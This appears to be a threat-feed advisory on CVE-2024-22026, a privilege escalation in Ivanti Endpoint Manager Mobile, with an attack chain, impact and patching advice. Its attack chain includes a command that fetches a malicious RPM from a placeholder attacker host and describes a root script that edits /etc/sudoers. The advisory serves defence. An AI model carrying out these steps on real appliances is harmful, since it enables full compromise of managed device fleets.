Endpoint Manager Mobile (< 12.1.0.0, < 12.0.0.0, < 11.12.0.1) - CraftedSignal Threat Feedhttps://feed.craftedsignal.io/products/endpoint-manager-mobile--12.1.0.0--12.0.0.0--11.12.0.1/Trending threats, MITRE ATT&CK coverage, and detection metadata. Fed continuously.Hugoenhello@craftedsignal.iohello@craftedsignal.ioFri, 02 Oct 2026 16:37:08 +0000https://feed.craftedsignal.io/favicon-32x32.pngCraftedSignal Threat Feedhttps://feed.craftedsignal.io/3232https://feed.craftedsignal.io/favicon.svgLocal Privilege Escalation in Ivanti Endpoint Manager Mobile (CVE-2024-22026)https://feed.craftedsignal.io/briefs/2026-10-ivanti-epmm-lpe/Fri, 02 Oct 2026 16:37:08 +0000hello@craftedsignal.iohttps://feed.craftedsignal.io/briefs/2026-10-ivanti-epmm-lpe/A local privilege escalation vulnerability in Ivanti EPMM, tracked as CVE-2024-22026, allows an authenticated local attacker to achieve root access by installing unsigned RPM packages via the CLI 'install rpm url' command.CVE-2024-22026 is a local privilege escalation vulnerability affecting Ivanti Endpoint Manager Mobile (formerly MobileIron Core). The flaw resides in the CLI utility 'install rpm url', which fails to validate the authenticity or origin of RPM packages before installation. An attacker with existing low-privileged access to the system can point this utility to a remote, attacker-controlled repository containing a malicious RPM package. Upon execution, the utility invokes the native 'rpm' binary with root privileges to install the package. Because there is no signature verification or URL filtering, the system executes arbitrary scripts contained within the package's pre-install and post-install hooks, leading to full system compromise. The vulnerability is addressed in Ivanti EPMM versions 12.1.0.0, 12.0.0.0, and 11.12.0.1.

Attack Chain

  1. Attacker gains initial access to the Ivanti EPMM system as a low-privileged user via compromised credentials or other entry vectors.
  2. Attacker prepares a malicious RPM package using tools such as 'fpm', embedding custom scripts in 'preinstall.sh' and 'postinstall.sh'.
  3. Attacker hosts the malicious RPM package on an external web server accessible by the target appliance.
  4. Attacker executes the CLI command 'install rpm url http://<attacker_IP>/<malicious>.rpm' within the Ivanti console.
  5. The application triggers the internal process to download the package from the provided URL.
  6. The system executes '/bin/rpm -Uvh *.rpm' with root privileges to perform the installation.
  7. The embedded 'postinstall.sh' script executes under the root context, creating a new user and modifying '/etc/sudoers' to grant persistent root access.

Impact

Successful exploitation results in full root-level compromise of the Ivanti EPMM appliance. Attackers can gain complete control over the device management infrastructure, potentially allowing them to bypass mobile security policies, exfiltrate sensitive configuration data, or push malicious profiles/applications to managed endpoints across the organization.

Recommendation

  1. Upgrade all Ivanti Endpoint Manager Mobile instances to version 12.1.0.0, 12.0.0.0, or 11.12.0.1 immediately to patch CVE-2024-22026.
  2. Implement strict network egress filtering on management appliances to prevent unauthorized outbound connections to untrusted external repositories or web servers.
  3. Deploy the Sigma rules below to detect unauthorized usage of the 'install rpm' CLI command or execution of rpm installation processes by non-administrative users.
  4. Review system audit logs for unauthorized user creation or modifications to the /etc/sudoers file.
]]>lowadvisoryprivilege-escalationvulnerability